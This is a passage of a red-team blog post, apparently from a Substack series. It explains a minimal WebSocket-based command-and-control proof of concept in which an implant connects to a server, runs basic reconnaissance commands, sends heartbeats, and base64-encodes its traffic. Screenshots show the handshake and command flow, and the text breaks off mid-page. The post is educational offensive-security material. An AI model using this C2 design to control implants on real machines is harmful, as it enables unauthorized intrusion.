Mittal]]></dc:creator><pubDate>Fri, 19 Sep 2025 19:43:27 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!sLHZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19163ba8-5f2e-4d5f-9801-56cae2aea701_837x837.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In my <a href="https://www.100daysofredteam.com/p/websockets-handshake-for-red-teams">last post,</a> I wrote about <a href="https://websocket.org/guides/websocket-protocol/#http11-upgrade-handshake">WebSocket handshake</a> and how WebSockets can be leveraged for red team use cases. One of the use case I discussed was leveraging WebSockets for communication between the <a href="https://www.100daysofredteam.com/p/its-all-about-command-and-control">Command and Control (C2) server</a> and an implant.</p><p>This made me curious to understand how practical it would be for a C2 software to support WebSockets as a communication channel and why haven&#8217;t well-known C2 software implemented it already? </p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>My first step was to create <a href="https://github.com/100daysofredteam/WebSockets-C2-PoC/tree/main">an absolutely basic Proof of Concept (PoC) of a miniature command and control (C2) that leverages WebSockets for communication</a>. This gave me an opportunity to understand the complexity behind it. Turns out it isn&#8217;t that complicated (if AI could create it, well-known C2 software can definitely implement it).   </p><p>This PoC had three components:</p><ul><li><p><strong>Server</strong> - Accepts incoming connection from the implant and upgrades the connection to use WebSocket. Sends commands to the implant and receives output. Also recieves a periodic heartbeat from the implant.   </p></li><li><p><strong>Implant</strong> - Initiates a connection to the server with a request to upgrade it to a WebSocket connection. Supports limited commands such as whoami, hostname, net (ipconfig / ifconfig) etc. Sends a periodic heartbeat to the server.</p></li><li><p><strong>Relay</strong> (optional) - Intercepts traffic between the server and the implant and redirects it to a proxy software such as BurpSuite. </p></li></ul><p>Both the server and the implant use Base64 encoding to simulate &#8220;<em>encrypted</em>&#8221; messages (notice the use of double quotes and italics for the word encrypted &#8594; this means I know Base64 is not encryption). They also support breaking larger output (such as that of ipconfig) into smaller chunks of 1024 bytes.  </p><p>Did it work? Let&#8217;s see&#8230;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IpBC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IpBC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg 424w, https://substackcdn.com/image/fetch/$s_!IpBC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg 848w, https://substackcdn.com/image/fetch/$s_!IpBC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!IpBC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IpBC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg" width="696" height="245.39021329987452" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:281,&quot;width&quot;:797,&quot;resizeWidth&quot;:696,&quot;bytes&quot;:51372,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22972a64-5bf7-4247-8b8e-f9ac1a0ee5a1_797x403.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IpBC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg 424w, https://substackcdn.com/image/fetch/$s_!IpBC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg 848w, https://substackcdn.com/image/fetch/$s_!IpBC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!IpBC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b2dad6-40b7-4916-aef7-349ca9d8f512_797x281.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Launching the server</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Kijx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Kijx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Kijx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Kijx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Kijx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Kijx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg" width="792" height="173" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/716cca29-8247-48c0-b381-51357872e974_792x173.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:173,&quot;width&quot;:792,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:35285,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05930dad-c508-4128-975f-32675da4afcf_792x400.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Kijx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Kijx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Kijx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Kijx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F716cca29-8247-48c0-b381-51357872e974_792x173.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Setting up the relay</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pcd8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pcd8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg 424w, https://substackcdn.com/image/fetch/$s_!pcd8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg 848w, https://substackcdn.com/image/fetch/$s_!pcd8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!pcd8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pcd8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg" width="795" height="186" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:186,&quot;width&quot;:795,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:42581,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa59a6d5c-bce8-447a-a019-0a96a0e9ff90_795x406.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pcd8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg 424w, https://substackcdn.com/image/fetch/$s_!pcd8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg 848w, https://substackcdn.com/image/fetch/$s_!pcd8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!pcd8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92b9d07f-89a6-4434-8a37-e4dd27414257_795x186.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Deploying the implant</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!euet!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!euet!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg 424w, https://substackcdn.com/image/fetch/$s_!euet!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg 848w, https://substackcdn.com/image/fetch/$s_!euet!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!euet!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!euet!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg" width="796" height="412" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:412,&quot;width&quot;:796,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:65589,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!euet!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg 424w, https://substackcdn.com/image/fetch/$s_!euet!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg 848w, https://substackcdn.com/image/fetch/$s_!euet!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!euet!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc756c2cb-45b6-4600-a52c-ab91a9b69e03_796x412.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Commuincating with the implant</figcaption></figure></div><p>Lets peak behind the scenes of this communication and understand the traffic flow.</p><p>When the implant is deployed, it initiates a connection to the server via HTTP and requests it to upgrade the connection to WebSocket. The server responds with <code>HTTP 101 Switching Protocols</code> upgrading the connection to WebSocket. This is also known as the WebSocket Handshake (<a href="https://websocket.org/guides/websocket-protocol/#http11-upgrade-handshake">as explained here</a>).</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!woSj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!woSj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg 424w, https://substackcdn.com/image/fetch/$s_!woSj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg 848w, https://substackcdn.com/image/fetch/$s_!woSj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!woSj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!woSj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg" width="1226" height="280" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:280,&quot;width&quot;:1226,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:53441,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!woSj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg 424w, https://substackcdn.com/image/fetch/$s_!woSj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg 848w, https://substackcdn.com/image/fetch/$s_!woSj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!woSj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d2f6f66-e694-44e6-b8d2-d24c7ec3a6db_1226x280.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">WebSocket handshake between the C2 server and the implant</figcaption></figure></div><p>Once the WebSocket connection has been established, the implant sends an <code>intro</code> message to the server along with it&#8217;s client_id (aka implant ID).</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0_mD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0_mD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg 424w, https://substackcdn.com/image/fetch/$s_!0_mD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg 848w, https://substackcdn.com/image/fetch/$s_!0_mD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!0_mD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0_mD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg" width="1456" height="221" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:221,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:52677,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0_mD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg 424w, https://substackcdn.com/image/fetch/$s_!0_mD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg 848w, 